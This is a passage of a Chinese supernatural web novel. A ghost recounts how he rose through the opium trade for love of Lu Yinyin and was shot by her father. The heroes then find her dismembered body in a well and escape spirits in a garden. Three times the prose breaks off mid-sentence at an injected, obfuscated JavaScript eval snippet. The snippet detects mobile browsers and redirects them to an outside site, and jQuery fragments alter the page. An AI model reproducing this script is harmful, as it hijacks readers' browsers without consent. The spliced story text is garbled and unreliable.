张祥文半信半疑地接过那包东西,放在鼻子地下闻了闻,十分警觉:“这不会是毒药吧?” 女人探出身子凑近他耳畔,轻声细语地说:“这是能让你变成神仙的仙药,只会让人如登仙境。”她不知何时已挽住了张祥文的胳膊,笑意嫣然,“走呀,跟姐姐去试试。试试,你便知道是好东西。” “不用了……”张祥文想抽出胳膊,可女人柔软的双臂像藤蔓,缠得緊。 他半推半就地被带进一家茶馆,穿过大堂由偏门进入内院。 正前方的屋子门窗紧闭,本来用以透光的玻璃被黑布遮挡,不容任何窥探。女人推开房门,挽着他进去才松手,随后迅速转身关了门。 昏暗的屋内困住太多散不去的烟,即使香气浓郁,也着实呛人。朦胧中闪烁的火光是唯一的亮,地面大部分都被做成通铺,数不清的人侧身半躺在上面,手中端一支长烟管吞云吐雾,神色迷离。 张祥文被呛得一直咳嗽,不停用手扇走白烟。 女人拿起一支烟管,往里放入一粒黑褐色的小圆球,递给张祥文,巧笑倩然地看着他:“难道姐姐还会害你不成。” 他将信将疑,还是衔住烟嘴小小吸了一口。便是这一口,呛得他眼泪直流,逗得女人呵呵笑起来。 “你瞧,这么多人都喜欢,怎么不是好东西呢。”女人从他手中拿走烟管,“若是陆家少爷真真不喜欢,你再将东西还给我就是了。可若是他喜欢,好处自然少不了你的,到时候还怕挣不到大钱吗。”她怕说得太隐晦张祥文听不明白,又补充道,“就算是你替他跑腿来我这里买东西,这跑腿费不都是你说多少就是多少。” 哭肿的双眼瞬间亮起来:“我说多少就是多少?” 女人摸摸张祥文的脸,媚笑道:“你这么可爱,姐姐怎么舍得骗你。我呀,还等着你成个人物呢。” 神情已见些许恍惚的张祥文裂开嘴笑:“姐姐不会骗我,不会骗我。” 回到陆宅后他去了小姐楼,借着尚有余存的勇气大声喊着姐姐——刚到陆家时,陆茵茵就是这么让他喊的,只是后来被姨太太们发现,挨了顿说教,他母亲才逼着他改口。至此,陆茵茵再未去长工院里找过他。 “茵茵姐姐!” 二楼的窗户后面走来一到倩丽的身影。陆茵茵抱着猫,倚在窗户边看着他:“你好大的胆子,谁准许你叫我姐姐的?” “是姐姐你准许的。”张祥文傻乐。 陆茵茵轻嗤一声:“你今天是怎么了?我还以为你知道我婚配了会难过呢,原来是我……”后面的话她没有说。 听见“婚配”二字,张祥文立刻皱起眉:“姐姐你真要嫁给一个从来没见过的男人吗?我不好吗?” 小姐嘴角有了笑意:“那你倒是说说,你哪里好?” 他连忙说道,怕迟一秒姐姐都不肯听了:“我喜欢姐姐,一定会对姐姐好,不会将姐姐锁在楼里。我知道自己现在没本事,没有钱给你好的,但我找到机会了,很快我就会有钱的。姐姐你等等我,不要嫁给别人。” “自由才是最好的,你能给我吗?” “能!等我赚到钱,就将姐姐接出来。以后姐姐想去哪里都可以!” 陆茵茵嘴角分明抿着笑,却又故作冷脸:“我倒要瞧瞧你什么时候能来接我。”她说完便立刻关上窗户,拉了帘子。 这日陆茵茵说的话成了支撑张祥文的全部力量,他知道陆茵茵讨厌被困在小姐楼,可惜他没办法带她私奔,就想堂堂正正接她出来。 于是,即使后来知道嫣嫣给他的东西是鸦片,他也依然毫不犹豫地将它卖给更多的人。 他用半年的时间当上烟馆的掌柜,专门为有钱的公子哥提供鸦片,又用一年的时间与贩卖鸦片的英国商人达成合作,拿到第一手货源。 钱来得太容易、太快,快到他来不及思考对错,就已经是个恶棍了。 带着丰厚的彩礼去陆家提亲这日,他既忐忑又兴奋,却也因着一声声“张大老板”而充满自信。如今他已跻身名流,实现当日与陆茵茵的约定,腰缠万贯,陆老爷没有能嫌弃他的地方了。 “你说你要娶陆茵茵?”陆老爷不紧不慢喝了口热咖啡。 在陆家西式风格宽敞的客厅里,陆宝珠挽着陆老爷的手臂,父女两人看上去十分亲昵。姨太太们都不在,说是出门打牌去了,就连平日和张祥文关系不错的陆华延也称要去佃户那里收租,冲冲出门了。 张祥文坐在单人沙发上,并不局促。这一年半来,他所见识过、经历过的事情,足够让他成长为一个强大而稳重的男人。 他放下咖啡杯,笑问道:“陆老爷觉得我不配娶茵茵小姐吗?” 陆老爷眯起眼睛盯着他,没说话,反倒是靠在陆老爷身上的陆宝珠开口道:“陈妈身体好吗?我好久没吃过她做的拔丝红薯了,以前你们在我们家时,她常做给我吃。” 陆宝珠被养得极其单纯,得益于陆家势大,向来没人敢对她说什么。所以张祥文并未因为她的话而生气。 陆老爷拍拍她的手,笑得一脸慈祥:“你想吃,爸爸再让张妈给你做。” “可是张妈现在享福去了,肯定不愿意的。”陆宝珠不开心地撅着嘴。 陆老爷指了指张祥文:“人就在你面前,你自己和他说吧。” 陆宝珠双手合十,对着张祥文撒娇:“我真的很喜欢吃张妈做的菜,这一年多我都饿瘦了,要不我去你家做客吧。” 张祥文脸上的笑几乎快要挂不住。如果说陆宝珠是单纯思虑不周,那陆老爷可就是故意的了,故意提醒他——你出身卑微,有钱又如何,还不是我们家的下人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428896|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可是张祥文孝顺,已经很久没让母亲沾阳春水了。 见张祥文沉默不语,陆老爷重重叹口气,说道:“祥文啊,你是我看着长大的,我知道你的品行不错,对你也是十分满意。只是可惜,陆茵茵的婚事已经订给淮恩了。半年后淮恩回国,两人便要完婚。唉……” 张祥文深吸一口气,明知陆老爷是在逼他分享货源,却也不得不答应:“陆老爷,你知道的,为了茵茵小姐我什么都愿意。” 陆老爷眼睛一亮:“哦?” “下个月,会到有一批新货,您要是有空,不如跟我一起去看个新鲜。” “如果有空,我会去的,谢谢张大老板的邀请。” 陆宝珠拉着陆老爷的衣袖撒娇:“那我的拔丝红薯呢?” 喝咖啡的陆老爷抬眼看了看张祥文,没说话。张祥文知道他的意思,只能硬着头皮答应:“宝珠小姐爱吃,我下次带来。” “可是拔丝红薯凉了就不好吃了。”陆宝珠小脸一扬,“我还是去你家做客吧,今日就去。” 不食人间烟火的陆宝珠天真又残忍。 尽管张祥文心中不愿意,可为了陆茵茵,到底还是忍下了。 与英国来的鸦片商交易这日,是张祥文让司机开车去接的陆老爷,并为他牵线搭桥,组了个饭局。饭局上,英国商人与陆老爷两人聊得十分开心,反倒衬得陪着笑脸喝了许多酒的张祥文是个闲人。 散席后,张祥文提出想见见陆茵茵。带着余幸的陆老爷应许,许他去小姐楼。 自从搬离陆宅,张祥文再没有见过陆茵茵,现在他堂堂正正从上锁的院门走进来,坐在花坛背面的石台上,仰头望着灯光透出来的二楼。 他先是隐约听见一声猫叫,不一会儿,窗户便打开,眉眼含笑的陆茵茵出现在窗前。 “姐姐,娶你可真难啊。” “那你还娶不娶?” “娶!” 随后笑容从陆茵茵脸上褪去,她神情变得严肃:“祥文,我知道你这一年多在做什么。现在你已经赚到钱了,可以做点别的生意,不要再卖鸦片了,那东西害人不浅,会遭报应的。” 张祥文缄默片刻,再次抬起脸时,已露出最好看的笑,说:“好,都听姐姐的。” 陆茵茵这才笑出来:“以后我们离开这里吧,我不想再看见陆家的人,我还要改姓,跟着妈妈姓胡。到时候,我和陆家就再没有关系了。” 陆茵茵的母亲是陆老爷的发妻,很早之后便病逝了,所以她在这个家才没人爱。 “姐姐去哪儿我就去哪儿,嘿嘿。” 窗前的烛光照亮陆茵茵开心的脸,她怀里抱着黑猫,靠在窗边:“很晚了,你回去吧。” 醉醺醺的张祥文还在傻笑:“我舍不得姐姐。” “等我离开这栋楼,还怕没有见面的机会吗。” 陆茵茵催促张祥文早些回去休息,纵然万般不舍,张祥文还是一步三回头地出了院子。 或许以后就能天天见面了。他这样想。 张祥文刚走出陆家大门便被人叫住,说陆老爷找他有事。于是他又折返回来,跟着丫鬟来到这里—— “陆老爷想垄断鸦片生意,为了万无一失,开枪杀了我。”张祥文面露苦涩,悲痛不已,“我没能接姐姐离开陆家,她对我一定很失望。” 赵义之双手递上一块木牌:“陆茵茵偷偷供奉了你的牌位。” 接过牌位的张祥文怔怔的,嘴里不住呢喃:“她知道我死了,得多难过啊……” “锁住你们的门已经打开。”拉姆指着张祥文身后的铁门,“该走了。” 张祥文低头看着手中的牌位,讷讷地问:“姐姐是不是已经投胎了?我还能……再见到她吗?” 44.古井无波 “你说,张祥文能见到陆茵茵吗?”赵义之问。 走出地下道,路过半陷入地下的空水牢,往前,依然是光线不足、逼仄局促的过道。 拉姆的语气仍旧平静:“陆茵茵也还在这里。” 赵义之恍然大悟:“小姐楼里的那个!可她竟然上吊自杀了……要是张祥文知道陆茵茵最后的结局是自杀,不知道会变成什么样子。” “为什么她是自杀?”拉姆若有所思。 听出这句话中的区别,像是确认一般,赵义之问:“你的意思是,为什么她没被蛊师拿来炼人蛊?” 拉姆点头:“从张祥文的话里听来,陆茵茵是个坚强的人。坚强的人为什么会选择自杀?” “人有很多面的,没有人每天从早到晚都坚强。陆茵茵肯定也有脆弱的时候。”赵义之的声音变得很轻。 “究竟有什么原因能让她选选择自杀……”拉姆没有听出赵义之语气中的异样,“她的死早于陆家被做人蛊的时间。” 赵义之的嗓音变回原本的声量,接过拉姆的话:“或者,是她觉得自己再也无法得到自由。” 从黑暗的过道里出来,不大的地方有一口狭小的井,只刚好容得一个小孩跳下去。 明明没有风,身后的门却猛地关上,通向下一处院子的出口也被突然倒塌的墙面堵住,故意将赵义之与拉姆困在古井旁。 “要不,我试试能不能把墙修好。”赵义之说完回头又问拉姆,“修墙不会误事吧?” 拉姆盯着倒塌的青砖墙看了片刻,回他:“不会。” “不会就好。”赵义之这才放心大胆走过去。 所谓出口,其实是两个屋子的墙角之间留出的距离。屋檐下有一圈台阶,赵义之抬脚正要上去,后背倏地被用力一推,尚未完全抬起的脚正好被台阶绊住。他狠狠摔在地上上,撑地的手掌磨出了血。 听见啪的一声,走到井边的拉姆扭头朝声源看去,恰好与回头的赵义之四目相对。在拉姆看来,赵义之此刻正呈现出面朝出口的跪拜姿势。 他不理解,等着赵义之给答案。 “好吧,我知道不是你。”一见拉姆困惑的表情,赵义之就明白了。 可如果不是拉姆,那又是谁呢? 赵义之站起来,比起手上的伤他更关注拉姆的举动:“你离那口井远点,别被拖进去。这里有什么东西,我刚才被推了一下。” “你背上有两只血掌印。”拉姆指着赵义之的后背。 他的话让赵义之头皮一紧,站直膝盖反手往背后一摸,手指上全是黏腻的鲜血:“果然刚才有东西推我。” 话音刚落,他的右脚脚背又是骤然一疼,白净的鞋面上赫然是只血鞋印。赵义之低头想看出个好歹,忽然又是什么东西缠紧他的脖子往后一拽,硬生生将他这个高大的成年男性给拽倒地上。 顾不上后背狠狠摔在地上的疼痛,赵义之拼命抠着脖子上越缠越紧的头发,嘴里无法发出声音,只能用眼睛向拉姆求救。 头发从赵义之的脖子一直延伸到古井中,拉姆走到井边探出脖子朝里看,而后在赵义之错愕的目光中投井了。 说来也怪,拉姆跳井的刹那间,即将勒断赵义之脖子的头发突然松开力,像嗦面条似的退回井中。 赵义之捂住脖子咳得厉害,声音沙哑,却仍撑着身体向古井爬过去,手臂搭在冒出地面半米高的井台上,声嘶力竭地喊拉姆的名字。他也想跳下去,可惜井口太小,除非他折断肩膀附近的骨头…… 井里的拉姆没有任何回应。 犹豫不过两秒,赵义之一狠心,当真动手把自己给折了,从锁骨中间偏里的位置断开。不过自从和拉姆立契后,他能改变的东西多了不少,当中自然包括疼痛——尽管并不能完全抹消痛意,但好歹是能忍受的程度。 待得调整好身体的角度,赵义之深吸口气,长长呼出,两眼一闭跳入井里。 井有多深呢?赵义之没有估量,可随着他身体的下坠,井中的空间逐渐变得宽阔,而他折断的双肩也在不知不觉时恢复原貌。 井底泛着如萤火虫一般鹅黄色的光点,有许多。这些光,是从拉姆身上飘出来的。拉姆静立水面上,被无数光点拥簇,仿佛下一刻他就要变成无数星光,融化在空气里。 “拉姆。”渐渐落下的赵义之低头喊他,见他没什么反应,于是扔下一块小石头砸在他脚边。 终于,拉姆抬起头,迎上赵义之目光,神色疏离冷淡。 他的脚尖终于触到如湖面一般毫无波澜的深蓝色地面。落地后,他忙不迭地跑向拉姆,伸手去抓却只抓到一点光。 拉姆散成了光点,飘在空中。 神啊,生命究竟从何而来? 拉姆的声音回荡在四周,萦绕不散。 “拉姆!你在哪儿?” 神啊,我究竟从何而来? 生命会消逝,我迎来送往,独留时光里。 神啊,您已经,听不见我的声音了吗…… “我听得见!”赵义之大喊,“拉姆,我听得见你的声音!” 嗒。 一滴水落入赵义之脚下平静的水面,涟漪荡漾着扩散。 赵义之隐约听见有谁在喊自己的名字,声音清亮又柔和。 “啊!”赵义之惨叫着坐起来,疼得几近晕厥。 拉姆蜷缩在他身下,正在摸他折断的锁骨。 井底的确比井口宽敞一些,只是一些。 赵义之将拉姆上下打量一遍,问:“你怎么在这里?”他咬重的是最后两个字。 拉姆感到奇怪:“不然,我该在哪里?” “呃……被鬼抓走之类的?不过你没事就好,没事最好。” 拉姆轻轻叹口气,弄得赵义之莫名其妙。 “我找到出口了。”拉姆用一如既往的语气说。 赵义之心里一咯噔,问:“在哪儿?” “被你弄没了。”拉姆并没有生气,他好像从来都不生气,“井下有个机关,若是一人下来将机关打开,上面的人就能出去。现在你和我都下来了,机关就不会再出现。” 这一次,赵义之没有再喊出那句“你不早说”,而是沉默良久,低声说:“我好像每次都会坏事。” 拉母艰难地拿出被压在下面的手,摸摸赵义之的头:“我们再想其他方法,要离开井底并不难。” 赵义之抬起眼看着拉姆,酝酿很久,最终还是没有问出自己刚才看到的那一切究竟是什么。 他干咳清清嗓,问道:“对了,缠我脖子的那些头发呢?” 拉姆在想如何解释,最后索性掏出来一颗头骨:“在这里。” 看过人骨灯、打过人骨怪的赵义之心中甚是庆幸,呵,区区人骨。 可随后拉姆又摸出一只绣花鞋:“看颜色款式,应该是——” 从井口处掉下来的东西砸到赵义之的脸,他发出的声音打断了拉姆的话。 “什么东西?” 那东西摸起来又凉又软,还长着人的手掌。赵义之心中生起不详的预感。 “是人体残骸。”拉姆格外从容淡定。 “残骸?!是指长着肉的那种……残骸?!” 其他部分陆续被扔下来,亏得赵义之及时撑起一把伞,才没被染个鲜血淋漓。 头顶没了动静,赵义之半收了伞仰头朝井口望,恰巧与一个披头散发的女人对上目光。女人涂着的大红色口脂花满下半张脸,她看见赵义之后咧嘴一笑,眼睛却瞪得又大又圆,表情诡异又狰狞。 完了。赵义之这样想。 “没有舌头。”拉姆抱着尸体的脑袋在端详。 浓烈的血腥味充斥在井中,赵义之胃中翻滚,想吐。他连忙捂住嘴:“我们还是赶紧想办法出去吧,我受不了了。” 拉姆举起将女人的脑袋,好让赵义之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17428897|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能看见她的容貌。仅剩头部的女人猛地睁大双眼,直勾勾盯着赵义之裂出一个笑——和井口的女人一模一样。 赵义之还是被突如其来的怪笑吓到了,惨叫声比刚醒来时的那一声还大。 拉姆因为赵义之脸上的惊恐表情而勾了勾嘴角。 “拿远点。”赵义之的心脏还在狂跳。 拉姆没听,问“她看起来多少岁?” 赵义之别开脸,不想再多看一眼:“我管她多少岁。” “她是陆茵茵。” 听到这个名字,赵义之万分惊愕。依他所想,小姐楼上的那个白衣女鬼才该是陆茵茵。 “她怎么会是陆茵茵?”赵义之忽然不害怕了,捧过头颅皱眉打量,“怎么是陆茵茵。” 拉姆取下头颅耳朵上的坠子,翻过背面摊在手心:“你看。” 耳坠上刻着一个“茵”字。 赵义之失神呢喃:“可她不是在小姐楼自杀了吗,怎么会被人分尸了呢。” “陆茵茵可能并不是自杀。”拉姆将耳坠挂回陆茵茵的耳垂上,“她才是陆家第一个被杀害的人。” “那小姐楼里上吊的是谁?”说这句话的赵义之心里发毛,“除了陆茵茵,还有谁会在那里自杀?” “如果她和张祥文一样,开口告诉我们就好了。”拉姆说得何其遗憾,“她的灵魂不在这里。” “因为炼人蛊?” “不知道。” “等一下。”赵义之又想到一件令人害怕的事,“如果陆茵茵的灵魂不在这里,推我的又是谁?井里的头发又是什么情况?!”他越说越害怕,“突然多出来了两个……” 拉姆抬头望向井口:“该出去了。” “啊……啊……”被拉姆放在一旁的脑袋发出沙哑的声音,流下两行血泪。 赵义之无法强迫自己不去听、不去看:“我们就把她留在这里?要不你先上去,我给她拼好再上去。” 拉姆收回目光看向赵义之:“你不害怕?” “一点定……你还是留下来陪我吧。” “我把身体借给你。” “啊?怎么借?” “你进入我的身体,我让你来掌控。你才有地方拼陆茵茵。” 赵义之两眼发愣:“附身?我怎么进去?” “第一次或许会有些不适应。”拉姆的手指抚上刻在赵义之颌角下的名字,那是他的名字——拉·姆。 他又拿起赵义之的手,放在自己脖子上刻有赵义之姓名的地方。 “我以记录者之名,允许刻名之人借用我的身体。” 脖子上被拉姆的手指轻按的地方有一丝冰凉,赵义之分不清是因为拉姆的手指冰凉,还是刻在他脖子上的文字在发凉,总之,当他全身如被春风吹拂,眼中的景象便与之前不同了。 他能感觉到身体周围被包裹。这种感觉很奇妙,像赤身裹在被窝里,所触所碰皆是柔软与舒适,令他不禁陷入贪婪欲望中,不愿再醒来。 唉…… 耳边传来轻声叹息。 现在不是睡觉的时候。 有人掀了他的被子,凉风灌入,不许他继续沉沦。实在讨厌。 脖子上突然传来一阵尖锐的刺痛,他蓦然清醒。 现在你应该可以修改环境了。 “拉姆,是你?” 嗯。你可以试着先改变周围环境,然后拼好陆茵茵。 “确实,这里太挤了。” 还是相同的方法,不过现在的赵义之觉得脑中清明,诸多过去有心无力的事,这下变得轻而易举,哪怕是要改变宇宙中的星球似乎也不是难事。他再次感叹拉姆的强大。 古井被拓宽,变成之前看见散发着光辉的拉姆时那样。他将陆茵茵破碎的身体接好,让细嫩的肌肤上没有留下任何伤疤。 “也算是做一点好事了。” 赵义之刚说完,眼前就一黑。 45.嘘~ 身体被换回来的拉姆抱起因虚脱而变成婴儿陷入沉睡的赵义之,掐了掐他的脸:“第一次,能坚持这么久已经很不错了。” 他像个长辈一样夸奖他。 拉姆没有告诉赵义之的是,刚开始附体维持不了多长的时间,能支撑到改变环境已经是极限。他之所以没有阻止赵义之帮陆茵茵拼凑尸体,是因为赵义之无论如何都会这么做,虽然能强行带走他,但之后,他会陷入后悔反复自责。 赵义之的这种感情会通过彼此之间的联系影响到拉姆。 正因为此,拉姆不能、也不想阻止赵义之的好意。 “剩下的就交给我。”拉姆脱下自己的外套裹住赵义之幼小的身体,单手抱在怀中,借助井壁跃上地面。 他将婴儿赵义之轻轻放在屋檐下,嘱托黑猫看好他,又转身回到古井边,跳了下去。 与刚才不同,井底是一片静逸的水面,幽蓝深邃窥不见低。拉姆缓缓落在水面上,像一片羽毛飘下,仅仅是激起一圈涟漪。 水面半空悬浮一团鹅黄色的光,原本僵滞不动,却在拉姆到来那刻欣喜地朝他奔去。 拉姆抬起手,用食指与它碰触,那光团,便融入他体内。 “记录无法更改,何必再做挣扎。你是,我也是。”拉姆喃喃自语。 在光团彻底融进拉姆体内后,周围又变成被赵义之改变过后的古井。陆茵茵破碎的尸体堆在井底,鲜血染红了周围的石壁。拉姆捡起那些尸块,用陆茵茵自己的头发将它们连接在一起。 被砍断的骨头无法再接回,但皮肉只需要一根线,就能相连。 做完这一切,身上被血弄脏的拉姆转身回到井外。 婴儿还在睡,拉姆抱起他,提了提外套,用它来隔开自己身上的污渍,左手托着,右手点来黑球咬掉了挡路的废砖。 似乎想起什么,拉姆抬头看向屋檐上顿住脚步的黑猫,将食指竖在唇前,做出噤声的手势,轻声说:“嘘~” 只是微不足道的一件小事,或许就为荒芜贫瘠的生命带来一场春雨,滋养即将消失的求生欲。 赵义之是这样,他也是这样。 屋檐上的黑猫跳下来,围在拉姆脚边蹭了一圈,看来是答应了。 黑球不仅吞没了倒塌的残墙,还啃掉旁边房间的一角,露出里面的家具陈设。拉姆侧目瞥了一眼,本想离开,却在这一眼后停下脚步——房间的墙面上挂着一幅画,画中女子竟是与他长得一模一样。于是拉姆当下便明白了,她是阿卡夏,她就是蛊师。 黑猫显然也看见了那幅画,全身炸毛发出威慑的低吼。拉姆弯腰摸摸它的脑袋:“我有办法对付她,别怕。” “喵~”黑猫抬头看了看拉姆,紧贴在他脚边,身上炸开的毛并没有立刻恢复。 离开当前所在的小天井,刚跨入通往后花园的门,视野便豁然开朗,压抑窒息的高墙与紧密的房屋统统隔绝,满眼皆是昂扬春光、水石绿林。拉姆抬脚跨过面前的小沟,走到园林中。 然而如此美景中,却徘徊着惊骇的怪物——两个女人上半身被砍断的地方拼在一起,以双手为腿脚,蹒跚而行。下面倒立的女人有一头乌黑的长发,像尾巴一般拖在地上。若不是在日光充足的花园里遇见,放在任何一个昏暗的地方,都足以吓破人胆。 两名仅有上半身的可怜女子原本没有发现拉姆与黑猫的存在,却在突然传来的一声婴儿啼哭中迅速扭头,面目狰狞地死盯着拉姆,慢慢向他走过来。 赵义之醒了,以一种他未曾想过的视角看见拉姆的下颚。他想说些什么,一张嘴,发出的哭声连他自己都吓一跳。 他一双奶呼呼的小手拼命揪住拉姆的衣服,眼泪吧嗒吧嗒地掉。 “赵义之……”拉姆想到什么,歪着脑袋停下来,在鬼怪跑过来之前说,“二十岁。” 小婴儿的身体迅速生长,落地成了一名男大学生般的青涩模样。赵义之顾不上问清拉姆的用意,穿上衣服掏出突击步枪,子弹正中怪物上半身体的脑袋。 她们应声倒地。 “应该没这么容易搞定吧?”赵义之回头问拉姆。 倒下的两名女子并没有再次站起来,而是四手并用地飞速爬过来,与刚才的摇摇欲坠完全不同。值得庆幸的是后花园足够大,赵义之扛起拉姆撒腿就跑,将手中的步枪换成左轮手枪,边跑边攻击。 拉姆左顾右盼,寻找离开的出口。却也只怪花园太大,一时间难以有所发现。 于是他拍拍赵义之的后背,指着假山说:“把我扔过去。” 赵义之看不见拉姆在他背后的动作,转了个圈,问:“哪儿?” “假山。” 假山有两座,分别在不同的池塘里。 “大的还是小的?”赵义之又问。 “大的。” 借助赵义之宛如投掷铅球的力,拉姆跃上假山顶,放眼整个花园寻找线索。 被鬼怪追得满园跑的赵义之不时会出现在他眼皮子底下,手中武器变幻不断,最后甚至变成了喷火器。可惜她们丝毫不惧,从火光中跳出来,恶狗追肉包似的跟着赵义之撵。 看着穿上旱冰鞋玩得满头大汗的赵义之,拉姆掰下一块假山石,说道:“赵义之,把她们引过来。” 赵义之边跑边喊:“也太难杀了吧!我要是造个一模一样的她们会不会互相追啊!” 二十岁的赵义之很有想法。 等到她们靠近,拉姆弹出手中的石块,精准命中。两个女人的动作一滞,扭头看向拉姆,又看了看假山下的水池,在犹豫片刻后选择继续追赶赵义之。 拉姆心下了然:“赵义之,下水。” “你确定?”嘴上虽然在怀疑,但赵义之的身体还是选择相信。 他甩掉旱冰鞋跳下水池,又艰难地往前走几步,拉开与她们之间的距离。她们追到水池边,急得像不敢下河游泳的狗,焦急地左右徘徊,但就是不往水里跳。 “不敢了吧。”不必再被追赶,赵义之显然十分开心,用手心捧起水往水池边的女人身上泼。 那可怜的鬼怪,看见赵义之捧起水便连连后退,却又在水落地之后想要往前。赵义之灵光乍现,端起水枪对着她们开始呲。 拉姆看了一眼赵义之,暂且放弃将身体借给他的打算,转而再次环顾花园。 苏州园林样式的花园最大的特点就是水,所以先前拉姆并未察觉有什么异样,此刻再细细看,才发现花园中的水池首尾循环,是个圈,正好圈住了那只鬼怪。 不知道出于什么理由,她们很怕水,即使只是一步就能跨过的小沟,也不敢轻易靠近。但这些并不重要。 “赵义之。” 赵义之玩得正起劲。自从不用被追着跑,他的体力就恢复得很快。 于是拉姆又叫他一声:“赵义之。” 赵义之收起水枪看向拉姆,脸上还残留着愉快:“啊?” “在水池上架一座桥。”拉姆指着通往下一处的地方。 那里有桥被拆除的痕迹。 “行吧。”赵义之舍不得扔掉手里的水枪,端着它一边呲追过来的两名女子,一边朝拉姆手指的方向跑去,在那里构建出一座与花园相称的拱桥。 看着突然出现的拱桥,两女怔愣片刻,便再也没瞧过赵义之一眼,尖声笑着飞速过桥,撞破院墙跑不见了影,留下余兴未消的赵义之茫然在原地。 赵义之放下水枪,跑回水池边,换了身干爽的衣服走到假山跟前,问:“水里难道有什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432922|197901||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么东西,我能不能把水抽了看看?” “好。”拉姆跳下假山。他也想看看水里究竟有什么。 穿着人字拖,牛仔裤的裤脚挽到膝盖下的赵义之找到排水口的塞子,拔了,又弄来抽水泵,加速抽干池子里的水。 水池里粗看没什么异样,可当黑猫跑向某个方位时,拉姆一眼便看见了那里放着的陶罐。赵义之啪嗒啪嗒跑过去,不敢贸然揭开,直到黑猫不耐烦地围着罐子转了两圈,他这才走近了些,手里拿着杀虫剂。 “干完这一票我就跑。”鼓足勇气后,他胆战心惊地才敲开陶罐上的封土。 很好,没有奇奇怪怪的东西跑出来。 不妙,没有奇奇怪怪的东西跑出来。 赵义之回头看了一眼拉姆,干脆拿根棍子将陶罐敲碎,顺手拨开碎片。 “是什么?”拉姆走过来。 “壁虎?”赵义之不解,“壁虎和水有关吗?” 拉姆心中已有了答案:“还有三个一模一样的,里面应该是乌龟、猫、鸟。” 赵义之恍然大悟:“这是搞了个四神兽啊。为什么要搞这个?” “喵~”不远处传来黑猫的叫声。 不知它什么时候跑上了假山,爪子反复扒拉某个位置。 “它这是让我们挖开那个地方?” “嗯。” 赵义之心领神会,开着黄色挖掘机过去了,一路上难免糟蹋不少花花草草。 不出所料,假山中同样埋着一只陶罐。赵义之准备按刚才的方法敲开,正要出手时,拉姆与黑猫同时制止了他。 “不用看里面是什么?”青春男大版赵义之乖乖放下棍子,眼神清澈。 拉姆走过去,抱起陶罐:“是嗅墨的身体,它想让我们带出去。” “这样啊。”赵义之挠挠头,不知道说什么才好,主动从拉姆手里将陶罐接过来,“那……我们现在是去追刚才那个东西?” “不追,继续往前走。” 二十岁的赵义之,眼睛亮晶晶的,毫不掩饰自信与热情。他甚至哼着歌,这是二十五岁的赵义之从未做过的事。 “你哼的是什么?”拉姆问。他稍微对赵义之的这五年有了些许好奇。 赵义之勾着一边嘴角,微微抬起下巴:“我在学校和别人组了一支乐队,这是我们乐队的歌。我和朋友一起写的曲子,别人写的词。” “乐队?音乐吗?”拉姆对乐曲的知识还停留在各个国家的古典乐上。 “音乐的一种。以后有机会带你去Livehouse。” “为什么不带我去听你们的音乐?” 赵义之脸上的表情一滞,然后勉强地笑了笑:“大学的时候,出了点事故,少了一个人,所以我们不得不解散。”他深吸口气,眼尾有一丝泛红,“死的是乐队的主唱,也是我从小一起长大的好朋友。谁都唱不出他特有的味道,慢慢的,就没人完整地唱出那些歌了。” 拉姆静静地听赵义之说完,静静看着他,随后收回视线:“失去朋友,的确是一件很痛苦的事。那一刻的心情,即使过了很久也难以忘记。” 赵义之揉揉鼻子,有点不好意思:“你活了这么久,一定亲眼见过很多死亡了。” 拉姆脸上的表情没什么变化:“我的身边出现过各种各样的人,但他们就像流星,一瞬间就从我身边消失了。你不会消失,所以我很高兴。” “你怎么知道我不会消失?” “因为你是信息拟态,只要有载体,你就不会消失。”拉姆微微勾起唇角,“别忘了,我也是你的载体。” 赵义之眼睛一亮:“那我不就是永生了?!我靠我好牛逼。” 拉姆忍不住抬手摸摸赵义之的脑袋。 46.记录者与执行者 赵义之歪头躲开:“你干嘛要摸我的头,你把我当什么了。” “后代”两个字从拉姆口中说出来时,赵义之不可置信,甚至怀疑自己出现幻听。拉姆以为赵义之不喜欢这个词,想了想,郑重其事地纠正:“孩子。” “我当你是过命的兄弟知心的朋友,你居然想当我爹?!”赵义之的胸膛剧烈起伏,一半是激动,一般是气的。 “并不冲突。” 赵义之头疼:“这不是冲突不冲突的问题,你这个想法就不对劲!你!”他用力指着拉姆,又指着自己,“我!是同辈人!你顶多算我哥!” “我没有弟弟。” “我也不是要当你弟弟……” “知道了。” 赵义之顿了顿:“你知道什么了?” 拉姆突然站住脚步,神情也由刚才的眉目舒展变得严肃。跟在他脚边的黑猫弓起背,全身的毛都炸开。 